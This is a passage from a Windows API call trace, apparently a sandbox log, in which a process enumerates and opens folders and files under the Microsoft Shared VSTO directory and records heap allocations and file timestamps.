ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0055.427] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0055.427] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0055.427] GetLastError () returned 0x12 [0055.427] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf04718) returned 1 [0055.427] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.427] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf04820) returned 1 [0055.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf04610) returned 1 [0055.428] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0055.428] GetLastError () returned 0x12 [0055.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.428] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0055.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.428] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0055.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.429] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.429] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.429] NtClose (Handle=0x17c) returned 0x0 [0055.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.430] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.430] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x300000, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x300000, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0055.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04f00 [0055.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf062f8 [0055.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x300000, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0055.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04f20 [0055.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06400 [0055.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x300000, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0055.431] GetLastError () returned 0x12 [0055.431] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.431] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.431] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0055.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.432] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.433] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.433] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.433] NtClose (Handle=0x17c) returned 0x0 [0055.433] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.433] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.434] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.434] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.434] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0055.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.434] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.434] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06508 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04f40 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06610 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.435] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.435] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.435] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0055.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.436] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0055.436] GetLastError () returned 0x12 [0055.436] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.436] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.436] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.436] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.437] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.437] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.437] NtClose (Handle=0x17c) returned 0x0 [0055.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3960 [0055.438] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0055.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: 